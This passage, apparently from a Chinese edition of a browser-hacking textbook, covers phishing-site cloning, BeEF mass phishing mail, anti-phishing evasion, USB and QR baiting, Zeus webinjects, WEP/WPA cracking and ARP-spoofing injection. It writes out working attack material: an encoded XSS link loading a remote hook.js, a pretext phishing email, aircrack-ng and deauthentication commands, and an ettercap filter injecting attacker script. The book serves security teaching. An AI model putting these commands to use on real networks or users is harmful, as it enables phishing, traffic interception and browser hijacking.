至于是伪造一个单页网站,还是多弄几个页面,也取决于你自己。假如你想避免目标用户联想到“钓鱼”,那最好多弄几个页面,把内容也准备得充分一些。不过,就一个页面也足够在浏览器中执行你的初始化JavaScript代码了。

决定了伪造什么网站之后,接下来就要考虑怎么构造必要的HTML和相关文件。以下是几种可能的选择。

  • 自己从头开始构建网站。这种做法对鱼叉式钓鱼有利,就是比较费时间。

  • 复制并修改已有站点。与自己从头开始构建网站类似,但可以利用网上现成的内容。大多数现代浏览器都支持把当前正在浏览的网页保存为HTML文件,这样可以加快制作内容的进度。保存后,就可以直接修改HTML中的页眉和标题字段。

  • 克隆已有站点。与复制并修改已有站点类似,只是连保存和修改内容都不必了,结果与已有站点完全一模一样。

  • 显示错误页面。某些情况下,其实只要显示一个错误页面就足够了。结果页面虽然显示的是服务器错误,但实际上则是在其掩护下通过浏览器执行你的代码。

还记得本章前面讨论的所有XSS方法吗?要进行钓鱼攻击,通常不必构建新网站。如果你前期对目标Web应用做过侦察,而且发现了其中存在的XSS隐患,就可以将那个站点作为钓鱼网站。

这种方法的好处在于通过熟悉的URL把人引导至钓鱼网站,基本不会引起怀疑。这也可以为你的鱼叉式钓鱼做掩护。假设你发现了一个目标网站的XSS缺陷,而且可以使用URL编码你的代码,就可以在钓鱼邮件里让用户提交这样的链接(仅在Firefox中有效)。

“Hi IT Support,

I've been browsing your website and I've noticed a weird error message when I performa search. After I click the ‘Search’ button I end up on this page:

http://browservictim.com/search.aspx?q=%3c%73%63%72%69%70%74%20
%73%72%63%3d%27%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%73%65%72
%76%65%72%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3e%3c%2f%73%63%72%69
%70%74%3e

I'm unsure if this is something wrong with my computer or if you guys are havingan issue?

Kind Regards,

Joe Bloggs”

其中链接内编码的参数实际上是这样的:

<script src='http://browserhacker.com/hook.js'></scrip>

如何克隆网站

克隆网站的方法有很多。

可以使用wget命令行工具在本地克隆一个网站。例如:

wget -k -p -nH -N http://browservictim.com

这个命令的参数表示如下含义。

  • -k:把已下载文件中的所有链接都转换为本地引用,不再依赖原始或在线内容。

  • -p:下载所有必要文件,确保离线可用,包括图片和样式表。

  • -nH:禁止把文件下载到以主机名为前缀的文件夹中。

  • -N:启用文件的时间戳,以匹配来源的时间戳。

BeEF的社会工程扩展中内置了Web克隆功能。这个框架默认会在被克隆的网站内容中注入JavaScript连接代码。要利用这个功能,通过./beef运行BeEF,然后在相应终端中执行以下代码,以使用BeEF的REST风格API:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>","mount":"<where to mount>"}'
-X POST http:/<BeEFURL>/api/seng/clone_page?token=<token>

执行之后,BeEF控制台会显示:

[18:19:17][*] BeEF hook added :-D

图2-2展示了一个BeEF控制台输出的截图。

{%}

图 2-2 BeEF成功克隆网站后的输出

然后,可以通过http://<BeEFURL>/<where to mount>访问克隆的网站。安装位置也可以是网站的根目录。还可以把这些位于BeEF的cloned_pages文件夹中的文件上传到其他地方,对克隆的网站进行定制:

beef/extensions/social_engineering/web_cloner/cloned_pages/<dom>_mod

不管用什么方法构建HTML,最重要的还是要把包含初始代码的钓鱼内容藏进去。如果你使用了BeEF的社会工程扩展,一切就自动化了。否则,就必须得更新HTML。不过也很简单,基本上就是在关闭的</body>标签前面插入类似如下的一行代码:

<script src=http://browserhacker.com/hook.js></script>

在需要通过互联网访问钓鱼内容的情况下,需要考虑把Web应用托管到什么地方。近几年来,在线虚拟主机的价格一直持续走低。Amazon最低配置的计算单元收费只要每小时0.02美元(2013年的价格,不含数据存储和流量收费)。如果你的钓鱼时间需要40小时,总成本也不到1美元。

配置好主机环境并启动之后,还要注册一个与内容匹配的域名。跟虚拟计算的价格趋势类似,由于注册商之间竞争的原因,域名注册费用现在也不算高了。像namecheap.com或godaddy.com这些域名注册商,.com域名的报价是每年大约10美元。按照钓鱼的思路,比如可以注册一个域名叫“europowerregulator.com”,或者让其看起来像是它的分支机构。

社会工程工具箱

David Kennedy的社会工程工具箱(Social-Engineer Toolkit,SET)里也包含Web克隆功能。SET不仅能克隆网页,同样也能注入恶意代码。比如,它可注入恶意Java小程序或Metasploit浏览器利用代码。可以在这个地址下载SET:https://github.com/trustedsec/social-engineer-toolkit/

要使用SET的Java小程序攻击,包括Web克隆,先通过sudo ./set运行SET,然后再执行以下几步:

(1) 选择Website Attack Vectors;

(2) 选择Java Applet Attack Method;

(3) 选择Site Cloner;

(4) 输入你想克隆的URL;

(5) 继续设置后续的内容或修改shell选项。

SET的Web服务器开始侦听请求后,可以通过设备的IP地址来查看。

 

URLCrazy

URLCrazy是Andrew Horton开发的,确实是一个非常不错的实用工具,可以帮你自动生成可能输错的域名或其他变体。下载地址为http://www.morningstarsecurity.com/research/urlcrazy。可以通过执行下列命令运行它:

./urlcrazy <domain>

图2-3展示了以上命令执行后的输出。

{%}

图 2-3 URLCrazy的输出

还可以使用短URL进一步模糊钓鱼网站的信息。这个策略特别适合以移动设备为目标的攻击。

拥有域名的好处还包括能够在DNS记录中配置SPF(Sender Policy Framework,发件人策略框架)。在DNS中将SPF配置为SPF或TXT记录,可以指定哪个IP地址能够自己向外发送电子邮件。

SPF的目的是杜绝垃圾邮件发送者以他们本来没有权限的域的名义发送邮件。SMTP服务器接收到特定IP地址发送的邮件后,可以查询对应域的SPF记录,验证该IP是否被允许发送电子邮件。比如,microsoft.com的TXT记录中包含如下信息:

v=spf1 include:_spf-a.microsoft.com include:_spf-b.microsoft.com include:_spf-c. microsoft.com include:_spf-ssg-a.microsoft.com ip4:131.107.115.215 ip4:131.107. 115.214 ip4:205.248.106.64 ip4:205.248.106.30ip4:205.248.106.32 ~all"

这条记录的含义如下。

  • v=spf1:SPF的版本是1。

  • include:对每个include语句,都查询DNS条目中的SPF记录,这样SPF记录就可以引用其他源的策略。

  • ip4:对每个ip4语句,都查询电子邮件是否来自该特定的IP地址。

  • ~all:最后的这个语句是前面的选项都不匹配时返回的结果,对所有其他源返回SOFTFAIL(软失败)。由~表示的SOFTFAIL是一个SPF限定符,其他限定符还有表示PASS(测试通过)的+,表示NEUTRAL(不置可否)的?,表示FAIL(测试失败)的-。通常,带SOFTFAIL标记的消息是可以接受的,但可能会被加上垃圾邮件的标签。

在钓鱼网站的域中设置了有效的SPF记录后,你发送的邮件就不太可能被发送代理和客户端当成垃圾邮件了。这样才能进行到下一阶段,即生成实际的钓鱼邮件。

(2) 第二阶段:钓鱼邮件

通过努力构建了像那么回事的钓鱼网站之后,接下来需要考虑怎么引诱目标上钩了。过去,引诱目标的方式主要是钓鱼邮件。图2-1展示了一封以在线银行名义发送的钓鱼邮件。不过,在攻击目标的过程中,我们通常能了解有关目标的更多信息,从而让邮件的措辞和格式不那么泛泛。

首先,需要生成目标的电子邮件地址。利用Google、LinkedIn及其他社交媒体网站,这一步可能并不难。Maltego13、jigsaw.com、theHarvester14和Recon-ng等工具可以帮上你的忙。

13Maltego. (2012). Maltego: What is Maltego?. Retrieved February 23, 2013 from http://www.paterva.com/web6/products/maltego.php

14Christian Martorella. (2013). theHarvester information gathering. Retrieved February 23, 2013 from http://code.google.com/p/theharvester/

获取联系人信息

Recon-ng是用Python写的模块化的Web侦察框架,它的下载地址是https://bitbucket.org/LaNMaSteR53/recon-ng。这个工具有一个类似控制台的界面,像Metasploit的那种。要从jigsaw.com获取电子邮件地址,需先通过执行./recon-ng启动Recon-ng,然后再执行以下步骤:

recon-ng > use recon/contacts/gather/http/jigsaw
recon-ng [jigsaw] > set COMPANY <目标公司名>
recon-ng [jigsaw] > set KEYWORDS <你想追加的关键词>
recon-ng [jigsaw] > run
recon-ng [jigsaw] > back
recon-ng > use reporting/csv_file
recon-ng [csv_file] > run

在数据文件夹内,会生成一个results.csv文件,其中包含获取的联系人信息。如果你有LinkedIn API的访问键,还可以使用recon/contacts/gather/http/linkedin_auth模块。

theHarvester是另一个类似的Python脚本,可以在这里下载:http://www.edge-security.com/theharvester.php。与Recon-ng类似,theHarvester可以利用开源搜索引擎,以及API驱动的数据库,来构建电子邮件的联系人列表。要使用theHarvester,只需执行以下命令:

./theHarvester.py -d <目标域> -l <有限的结果数量>\
-b <数据源:例如google>

取得了电子邮件地址的列表后,下一步是制作诱饵。与构建钓鱼网站类似,必须做到让邮件的内容看起来像真的一样。

当然,最终你得把邮件发给目标用户。发送邮件的一个方法,就是使用BeEF的社会工程邮件群发器。

使用BeEF的邮件群发器

BeEF的邮件群发器在使用前需要设置一下。设置之后,就可以方便地群发纯文本以及HTML格式的邮件了。

首先,配置邮件群发器。打开并编辑beef/extensions/social_engineering/config.yaml,找到mass_mailer部分:

user_agent: "Microsoft-MacOutlook/12.12.0.111556"
host: "<SMTP服务器地址>"
port: <SMTP服务器端口>
use_auth: <true或false>
use_tls: <true或false>
helo: "<发件地址域名,如:europowerregulator.com>"
from: "<发件地址,如: marketing@europowerregulator.com>"
password: "<SMTP服务器密码>"

接下来要配置电子邮件模板。在生成实际使用的模板之前,必须配置模板依赖的资源,比如图片等。配置要在社会工程扩展的配置文件中进行。BeEF中提供了一个名为“edfenergy”的示例,还在那个config.yaml文件中,可以找到其配置项:

edfenergy:
  images: ["corner-tl.png", "main.png", "edf_logo.png",
      "promo-corner-left.png", "promo-corner-right-arrow.png",
      "promo-reflection.png", "2012.png", "corner-bl.png",
      "corner-br.png", "bottom-border.png"]
  images_cids:
      cid1: "corner-tl.png"
      cid2:  "main.png"
      cid3:  "edf_logo.png"
      cid4:  "promo-corner-left.png"
      cid5:  "promo-corner-right-arrow.png"
      cid6:  "promo-reflection.png"
      cid7:  "2012.png"
      cid8:  "corner-bl.png"
      cid9:  "corner-br.png"
      cid10: "bottom-border.png"

这里配置的主要是将来模板中会被替换的图片以及ID引用。实际的邮件模板位于beef/ extensions/social_engineering/mass_mailer/templates/edfenergy/下,有mail.plain和mail.html两个文件。这两个文件会利用一个简单的模板系统,动态替换完相关内容后再发送出去,包括替换本地图片和收件人。

通过BeEF的邮件群发器发送的图片没有在线版本。这些图片会从网上被下载下来,然后编码为base64格式嵌入邮件主体。如果你打开mail.html,就会看到“__name__”和“__link__”。这些内容将在发送前被动态替换。与Web克隆程序类似,邮件群发器也是通过REST风格的API执行的。在BeEF运行的情况下,打开一个新的终端,然后执行以下curl命令:

curl -H "Content-Type: application/json; charset=UTF-8"\
-d '{"template":"edfenergy","subject":"<邮件主题>",\
"fromname":"<发件人>","link":"<钓鱼网站URL>",\
"linktext":"<骗人的链接文字>","recipients":[{"<目标的邮箱>":\
"<目标的名字>","<目标2的邮箱>":"<目标2的名字>"}]}' \
  -X POST http://<BeEFURL>/api/seng/send_mails?token=<token>

通过这里的选项,可以配置以下内容。

  • template:配置要使用的模板,在这里就是要使用edfenergy模板。

  • subject:设置钓鱼邮件的主题。

  • fromname:设置发件人的名字,不一定与全局配置中的from字段值一样。

  • link:设置钓鱼网站地址。

  • linktext:有的模板中需要嵌入钓鱼网站的链接,但显示的是这里设置的链接文字。

  • recipients:这个字段由多个收件人的名字和邮件地址构成,多个收件人用逗号隔开,名字会嵌入模板。

  • BeEFURL:指向BeEF实例的URL。

  • token:BeEF的REST风格API的访问键,用于访问BeEF服务器。

执行以上命令后,BeEF控制台就会显示如下信息:

Mail 1/2 to [target1@email.com] sent.
Mail 2/2 to [target2@email.com] sent.


发送完钓鱼邮件后,钓鱼活动就正式开始了。但在向真正的目标发送邮件之前,最好拿自己先测试一下。通过测试可以修改邮件模板或者钓鱼网站中存在的问题。

2. 诱饵

把攻击目标引诱到钓鱼网站不一定非要通过钓鱼邮件。随着时间推移,社会工程技术的发展也产生了物理诱饵。2004年,安全研究人员就实地演示过怎么使用物理诱饵。当时,他们就在大街上强制路人用密码交换巧克力15

15BBC. (2004). Passwords revealed by sweet deal. Retrieved February 23, 2013 from http://news.bbc.co.uk/2/hi/technology/3639679.stm

当然,只是知道某人的电脑密码也不一定能帮你侵入他的浏览器。不过你也可以把U盘(USB闪存驱动器)偷偷地放在大街上某个地方。要是有人看见并拾走,那他很可能会把它带到家里插到自己的电脑上,看看里面有什么。毕竟,人人都有好奇心嘛!

使用U盘就可能引诱用户通过浏览器打开由攻击者控制的网站。很简单,只要在U盘里保存一个HTML文件,里面包含一个点击就打开钓鱼网站的链接即可。因为HTML文件随处可见,所以放到一个外部存储器上也没什么大不了,所在防病毒软件通常不会怀疑。自然,把U盘换成光盘也一样。另一个刚刚出现的诱饵技术是使用恶意的QR(quick response,快速响应)码,比如适合智能手机扫描的二维码,现在就很流行。图2-4展示了一个QR码。QR码最初应用于制造业,方便快速扫描识别商品信息,其应用范围越来越广,海报、公交车站以及其他零售商品上随处可见QR码。

图 2-4 QR码

只要手机里安装了QR码应用,就可以用摄像头扫描QR码,然后显示出文本信息。如果QR码是一个URL,手机就会将该URL发送给浏览器,某些情况下浏览器甚至会自动打开链接。根据赛门铁克公司的研究16,很多想干坏事的人会印刷一些带QR码的标签,把它们贴到人流密集的地方。

16John Leyden. (2012). That square QR barcode on the poster? Check it's not a sticker. Retrieved February 23, 2013 from http://www.theregister.co.uk/2012/12/10/qr_code_sticker_scam/

生成QR码也很简单,比如可以使用谷歌的Chart API17。访问下面的地址,就可以用这个工具生成QR码,这个QR码里需要包含宽度、高度和需要编码的信息等参数:

17Google. (2012). Google Chart Tools. Retrieved March 3, 2013 from https://developers.google.com/chart/

https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=http://browserhacker.com

此外,BeEF也有一个QR Code Generator模块,能够为你生成Google Chart的URL。配置这个扩展需要编辑beef/extensions/qrcode/config.yaml文件:

enable: true
target: ["http://<钓鱼URL>","/<BeEF的相对链接>"]
qrsize: "300x300"

配置之后,启动BeEF就会给出相应的Google Chart的URL。

别忘了利用URL缩短和其他模糊技术隐藏钓鱼网站的地址。

3. 反钓鱼机制

在进行钓鱼攻击的时候,一定要知道有一些机制会不断给我们制造麻烦。现代浏览器和电子邮件客户端都会尽力降低钓鱼及钓鱼邮件伤害收件人的可能性。前面介绍了配置SPF记录有助于减少你的邮件被标记为垃圾邮件的机会,但千万不能低估浏览器检测恶意内容的能力。

Chrome和Firefox都在使用的谷歌的Safe Browsing API18,就是一个随时可以通过互联网访问的API,允许浏览器在渲染之前检测URL的正确性。这个API不仅能根据个人报告的钓鱼网站向用户给出提示,还会报告存在恶意内容的站点。

18Google. (2012). Safe Browsing API. Retrieved March 3, 2013 from https://developers.google.com/safe-browsing/

如果你的钓鱼攻击目标很窄,那么其中一个目标会上报你的域或者(至少初始时)被自动发现的可能性就会比较小。有效的钓鱼攻击的这段时间被称为“钓鱼攻击黄金第一小时”(Golden Hour of Phishing Attacks)。这是因为Trusteer的研究19表明,50%的钓鱼攻击受害者会在打开钓鱼网站的第一个小时内泄露自己的信息。

19Amit Klein. (2010). The Golden Hour of Phishing Attacks. Retrieved February 23, 2013 from http://www.trusteer.com/blog/golden-hour-phishing-attacks

其他反钓鱼工具

除了谷歌的Safe Browsing API,还有很多工具尝试让用户远离可能不安全的站点,比如下面几个:

  • IE的Anti-Phishing Filter

  • McAfee的SiteAdvisor

  • Web of Trust的WOT插件

  • PhishTank的插件

  • Netcraft的Anti-Phishing扩展

关键在于怎么让你发送的邮件范围与钓鱼站点恰当地匹配。发送的邮件太多,网站很可能短时间内被人举报。发送的邮件太少,访问钓鱼网站的人又太少。

另一个防止钓鱼网站被列入黑名单的技术,就是启用防火墙或.htaccess规则。经过配置之后,可以仅在目标通过自己组织的Web代理接收网页时,才会显示钓鱼内容。

这个机制的一个高级的版本是被RSA公司称为“bouncer phishing kit”20的技术。这个钓鱼工具包会自动把钓鱼URL动态分发给目标,如果重复访问同一内容的ID不唯一,或者访问次数太多,钓鱼网站就会返回HTTP 404错误。

20Limor S. Kessem. (2013). Laser Precision Phishing--Are You on the Bouncer's List Today?. Retrieved February 23, 2013 from http://blogs.rsa.com/laser-precision-phishing-are-you-on-the-bouncers-list-today/

如前所述,有时候单凭技术不可能向隐患Web应用插入初始指令,或者获得某个沟通渠道的访问权限。这时候,你就只能面向终端用户了。只要动机选择合适,人们通常都情愿做出可能让自己受害的举动。不要低估使用社会工程技术控制浏览器的威力。

2.2.5 使用中间人攻击

用于在目标浏览器中嵌入初始控制代码的方法,不一定局限在通信的两端。一种叫作中间人(Man-in-the-Middle attack,简称MitM)攻击的老技术,自从人类相互之间通过不可信渠道发送信息开始,就一直是一种流行的攻击技术。

中间人攻击的概念非常简单,就是敌人通过窃听,有可能在信息从发送者传输至接收者的过程中篡改它。为了实现这种攻击,必须确保发送者和接收者都无法知道自己的通信内容被第三方看过或者修改过。

密码学的一个挑战就是要发明保证通信安全的技术,特别是要减小中间人攻击的可能性。因此,很多加密算法主要是同时关注提高机密性和完整性。与所有安全增强和措施的情况一样,信息与通信安全的每一次进步,都会伴随着攻击者迅速地找到绕过相应安全手段的方法。

随着浏览器日益成为上网获取信息的标准方式,它在通过不可信渠道发送和接收信息的框架中,也正在扮演越来越重要的角色。这同时也为攻击者提供了向浏览器中注入初始代码的机会。

1. 浏览器中间人攻击

中间人攻击一直发生在OSI模型的较低层次,位于应用层以下(应用层是HTTP及相关协议运行的层次)。而浏览器中间人(Man-in-the-Browser,MitB)攻击是与传统中间人攻击类似的一种方式,只不过完全发生在浏览器中。大多数持久JavaScript通信(勾连)逻辑,实际上都是浏览器中间人攻击,具有如下特点:

  • 对用户不可见

  • 对服务器不可见

  • 能够修改当前页面的内容

  • 能够读取当前页面的内容

  • 不需要受害人介入

这种窃取信息的方式也常见于银行恶意软件攻击(比如Zeus或SpyEye,都提供注入功能)。这些方便的功能可以让僵尸网络操作人员指定配置文件21,以确定如何以及把什么注入HTTP(S)响应。这种注入完全发生在浏览器中,不会影响浏览器的SSL机制。举个例子:

21Doug MacDonald and Derek Manky. (2009). Zeus: God of DIY Botnets. Retrieved October 19, 2013 from http://www.fortiguard.com/analysis/zeusanalysis.html

set_url https://www.yourbank.com/*
data_before
<div class='footer'>
data_end
data_inject
<script src='https://browserhacker.com/hook.js'></script>
data_end
data_after
</body>
data_end

这是Zeus配置文件中的通用配置,这些配置项会在浏览器访问https://www.yourbank.com/中的任意网页时被激活。它会查找<div class='footer'>,然后再插入新的JavaScript远程脚本。这一点与我们前面介绍的初始控制的示例一样。当网页被渲染后,浏览器会加载脚本,并认为它来自合法的网站。

如果攻击者能够在系统中启动进程,特别是如果这种注入发生在浏览器所在进程中,那么受害人无论如何也逃不掉了。除了HTML注入,这类恶意软件通常还提供更多其他功能,比如抓取表单、操作系统级的击键记录,以及屏幕截图等。

2. 无线攻击

无线网络技术的发展和爆炸式应用,是计算机网络技术最大的进步之一。但正像本大叔给蝙蝠侠的忠告:“能力越大,责任也就越大。”

在各种破坏性技术当中,无线网络一直是安全研究人员与网络工程师之间争议最大的技术之一。想想看,只要有人一通过无线电波通信,在没有电缆约束的情况下,自然会面对更多敌人的威胁。

对无线网络,特别是对IEEE 802.11协议下通信的最初威胁,来自攻击者对在空气中传播的通信内容机密性的破坏。Fluhrer、Mantin和Shamir最早于2001年发表了一份研究报告,记载了对无线网络流量的窃听22。短短几年之后,最早的802.11标准被批准。很快,就有人发表了绕过WEP(Wired Equivalent Privacy,有线等效保密)机制的方法。

22Scott Fluhrer, Itsik Mantin and Adi Shamir. (2001). Weaknesses in the Key Scheduling Algorithm of RC4. Retrieved February 23, 2013 from http://aboba.drizzlehosting.com/IEEE/rc4_ksaproc.pdf

802.11的安全机制

IEEE 802.11标准问世之初,就加入了安全机制,以降低无线传输过程中泄密、破坏完整性,以及丧失可用性的可能。随着时间推移,安全社区对这些机制的安全漏洞进行了全面研究。以下内容简要概述了这些无线安全机制及相应的缺陷。

SSID隐藏

大多数路由器支持不广播其服务设备标识符(Service Set IDentifier,SSID)。然而,为了实现无线通信,无线客户端经常要求连接到有名字的SSID,从而会泄露这个信息。Kismet及Aircrack等工具可以用来发现SSID。

静态IP过滤

与SSID隐藏类似,尽管静态IP过滤有可能限制对无线路由器DHCP的连接,但IP地址能被无线工具发现,攻击者只要在自己的无线界面中进行简单配置即可连接。

MAC地址过滤

IP地址过滤的问题对MAC地址过滤也一样存在。使用无线工具找到连接设备的MAC地址后,可以修改你的MAC地址,伪装成允许连接的客户端。

在Windows上,通过配置网络地址设置,可以在无线适配器的高级属性中修改MAC地址。

在Linux上,可以使用ifconfig命令修改MAC地址:

ifconfig <接口> hw ether <MAC地址>

OS X与Linux类似:

sudo ifconfig <接口> ether <MAC地址>

WEP

使用Aircrack-ng23套件,只需简单的几步即可破解WEP密钥。

(1) 在监控模式下启动可注入的无线适配器:

airmon-ng start <适配器,例如:wifi0>
<无线信道,例如:9>

这样就把被动接口放到了监控模式下。

(2) 使用监控模式适配器测试数据包注入。这个适配器通常不同于wifi0,比如Atheros接口:

aireplay-ng -9 -e <目标网络的SSID>
-a <目标接入点的MAC地址>
<被动接口,例如:ath0>

(3) 开始捕获WEP初始向量:

airodump-ng -c <无线信道,例如:9>
--bssid <目标接入点的MAC地址>
-w output <被动接口,例如:ath0>

(4) 将MAC地址与无线接入点关联:

aireplay-ng -1 0 -e <目标网络的SSID>
-a <目标接入点的MAC地址>
-h <我们的MAC地址><被动接口,例如:ath0>

(5) 在ARP请求重播模式下启动Aireplay-ng,生成WEP初始向量:

aireplay-ng -3 -b <目标接入点的MAC地址>
-h <我们的MAC地址>
<被动接口,例如:ath0>

输出的捕获文件应该变大,因为其中有包含了WEP初始向量在内的流量。要破解其中的WEP证书,执行以下命令:

aircrack-ng -b <目标接入点的MAC地址> output*.cap

aircrack-ng -K -b <目标接入点的MAC地址> output*.cap

WPA/WPA2

与破解WEP不同,破解WPA/WPA2只能在某些条件下行得通。其中一个条件是WPA被配置为PSK(Pre-Shared Key,预共享密钥)模式,即只使用共享密码,不使用证书。

需要使用airodump-ng等工具,捕获WPA/WPA2认证握手。这意味着要等待某个新客户端连接,或者强制让某个已连接的客户端断开连接之后重新连接。最后,通过暴力破解握手信息,得到PSK。

(1) 在监控模式下启动可注入的无线适配器:

airmon-ng start <适配器,例如:wifi0>
<无线信道,例如:9>

这样就把被动接口放到了监控模式下。

(2) 开始捕获WPA握手:

airodump-ng -c <无线信道,例如:9>
--bssid <目标接入点的MAC地址>
-w psk <被动接口,例如:ath0>

(3) 现在可以强制某个客户端解除认证,并寄希望于该客户端会重新请求认证:

aireplay-ng -0 1 -a <目标接入点的MAC地址>
-c <想要令其重新认证的客户端的MAC地址>
<被动接口,例如:ath0>

(4) 捕获到握手信息之后,着手破解它:

aircrack-ng -w <密码字典文件>
-b <目标接入点的MAC地址> psk*.cap

23Thomas d'Otreppe. (2012). Aircrack-ng. Retrieved February 23, 2013 from http://www.aircrack-ng.org/doku.php?id=Main

尽管窃听网络流量对获取敏感信息可能有用,却不一定能够实现数据篡改。为了把初始化代码嵌入网络流量,不能仅仅局限于使用纯粹的窃听技术。

在获得某个无线网络的访问权限后,接下来就可以考虑执行其他网络攻击,比如ARP欺骗、Web代理或其他网关设备的模拟。后面会讨论ARP欺骗技术。

除了尝试在未被授权的情况下,访问无线网络以执行中间人攻击,还可以采用其他技术,比如欺骗客户端,使其相信你是无线接入点。这种接入点通常被称为流氓接入点(rogue access points),运行方式也不止一种。

一种方式是简单地加入一个已经有广播的(打开的)无线网络,然后使用独立接口连接到合法的无线网络。另一种方式则是强制解除对无线客户端的认证,然后用比合法路由更强的信号广播,伪装成接入点。

KARMA是Dino Dai Zovi和Shane Macaulay在2004年开发的一套工具24,包括对Linux的MADWifi驱动程序的补丁。使用这套工具,可以让计算机响应任意802.11探针请求,而且不需要SSID。这样,你就可以装扮成默认或之前连接的无线接入点,引诱客户端连接你。在很多操作系统中,重新连接之前已知的无线网络都是默认执行的操作。

24Dino A. Dai Zovi and Shane Macaulay. (2006). KARMA Wireless Client Security Assessment Tools. Retrieved February 23, 2013 from http://www.theta44.org/karma/

这套工具中还包含一些模块,不仅能让你自动装扮成无线接入点,还能让你装扮成DHCP服务器、DNS服务器,当然还有Web服务器。没错,使用KARMA也可以装扮成Web代理,在所有Web请求中注入初始化的JavaScript指令。

使用代理动态修改流量并不新鲜。使用代理软件执行各种有意思的、不寻常的任务早已司空见惯。比如,运行透明代理在用户浏览器中水平翻转已经渲染的图片25,截获苹果Siri的流量定制家居自动化,以控制用户的温度调节器26

25Russell Davies. (2012). Upside-Down-TernetHowTo. Retrieved February 23, 2013 from https://help.ubuntu.com/community/Upside-Down-TernetHowTo

26Pete Lamonica. (2013). Siri Proxy. Retrieved February 23, 2013 from https://github.com/plamoni/SiriProxy

3. ARP欺骗

ARP(Address Resolution Protocol,地址解析协议)欺骗,也称为ARP下毒,指的是欺骗一个设备把本来应该发到别处的数据发给你,有些类似于把邮件重定向到另一个设备。

收到数据后,你甚至可以自己再转发,从而不引起目标的警觉。不光是转发,你还可以在目标不知道的情况下修改内容。实际上,通过网络通信的时候,很多协议都起不到一个薄薄的信封所能起到的保护作用。

简单地说,ARP用于从IP地址到MAC地址的网络层地址解析。这种从第三层到第二层的映射,为ARP欺骗提供了绝好的机会。以下流程是ARP请求在IPv4网络中正常工作的过程。

  • 计算机A(10.0.0.1)要与服务器B(10.0.0.20)通信,因此它在自己的ARP缓存中查询10.0.0.20的MAC地址。

  • 如果找到MAC地址,流量将通过网络接口被提交到该MAC地址。

  • 如果没有找到MAC地址,则向本地网段广播一条ARP消息,询问哪个MAC地址的IP是10.0.0.20。这个请求会被提交给MAC地址FF:FF:FF:FF:FF:FF,然后具有相应IP地址的网络适配器就会响应。

  • 服务器B接收到这个请求,于是将自己的MAC地址作为响应提交给计算机A的MAC地址。

图2-5展示了Wireshark中的一个ARP请求与响应的示例。

{%}

图 2-5 Wireshark中的ARP流量

ARP欺骗之所以成为可能,是因为ARP协议没有办法验证ARP流量。而让ARP欺骗特别有效的一点,就是你不需要等待广播请求MAC地址。

相反,你可以主动告诉目标机器哪个IP地址映射到哪个MAC地址,即向目标系统凭空发送一条ARP消息。这条消息会更新目标的本地ARP缓存,把你伪造的内容保存起来,从而使后续的所有IP流量都发送给你,而不是受害机器。

Alberto Ornaghi和Marco Valleri开发的ettercap27,是在本地网络中执行这种中间人攻击的最流行的工具之一。除了ARP欺骗攻击,这个工具还可用于执行DHCP欺骗、端口盗窃和数据包过滤等。Dug Song开发的工具dsniff28与ettercap类似,提供的功能包括对伪证嗅探及其他中间人攻击的多种过滤器。

27Alberto Ornaghi, Marco Valleri, Emilio Escobar, Eric Milam, and Gianfranco Costamagna. (2013). Ettercap — A suite for man in the middle attacks. Retrieved February 23, 2013 from https://github.com/Ettercap/ettercap

28Dug Song. (2002). Dsniff. Retrieved February 23, 2013 from http://monkey.org/~dugsong/dsniff/

如果在一个对等网络中实施下面这个ARP欺骗的例子,有可能造成系统宕机。因此这个例子以及所有例子都要谨慎操作。记住这一点后,就可以在命令行中输入以下命令来使用ettercap:

ettercap -T -Q -M arp:remote -i <network interface> /<target1>/ /<target2>/

其中的属性具有以下含义。

  • -T:在文本模式中运行。

  • -Q:在超级安静模式中运行,很多输出都不会出现了。

  • -M:执行中间人攻击。

  • arp:remote:指定中间人攻击的方式是ARP欺骗。remote选项可以让你嗅探到针对某个网关的远程IP流量。

  • -i:指定网络接口,比如wlan0。

  • 最后两个target用于指定要攻击的IP地址,可以是一个IP地址范围,也可以是整个子网。例如,要对流量经过网关的子网中的所有主机欺骗,可以指定/<gateway IP>/ //

执行前面命令的输出类似如下所示,包括本地网络上从DropBox到一个客户端的HTTP响应的可视化显示:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on en0... (Ethernet)

  en0 -> 60:C5:47:06:85:22         192.168.1.1     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf
 file
Privileges dropped to UID 65534 GID 65534...

   0 plugins (disabled by configure...)
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |===================================>| 100.00 %

4 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.254 00:04:ED:27:D3:8A

 GROUP 2 : ANY (all the hosts in the list)

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Packet visualization restarted...

Sun Mar  3 11:24:11 2013
TCP  108.160.160.162:80 --> 192.168.1.101:50113 | AP

HTTP/1.1 200 OK.
X-DB-Timeout: 120.
Pragma: no-cache.
Cache-Control: no-cache.
Content-Type: text/plain.
Date: Sun, 03 Mar 2013 03:24:08 GMT.
Content-Length: 15.
.
{"ret": "punt"}

除了简单的ARP嗅探,ettercap还有插件和过滤器,让你在流量经过系统时对其进行修改。这样就为你向目标浏览器注入初始化指令打开了方便之门。

在创建针对Web流量的注入过滤器时,经常会遇到一个问题,就是Web服务器经常会压缩发回的数据。这样就让攻击更复杂了,从而增加了工作量。

此时有两个选择。一是破坏Accept-Encoding首部,二是将Accept-Encoding的值替换为identityidentity值可以保证服务器不使用压缩,而且总会返回纯文本数据。这样就会让攻击变得简单多了。

在ettercap中创建过滤器以修改流量(假设是纯文本数据),无非就是创建一个包含类似以下代码的文本文件:

if (ip.proto == TCP && tcp.src == 80) {
  replace("</body>", "<script src='http://browserhacker.com/hook.js'>
    </script></body>");

  replace("Accept-Encoding: gzip, deflate",
    "Accept-Encoding:identity               ");
}

保存这个文件后,执行如下命令,就可以把它转换成ettercap过滤器:

etterfilter input.txt -o hookfilter.ef

要通过ettercap运行这个过滤器,需要通过-F选项来指定.ef文件,比如:

ettercap -T -Q -F hookfilter.ef
-M arp:remote -i <网络接口> // //

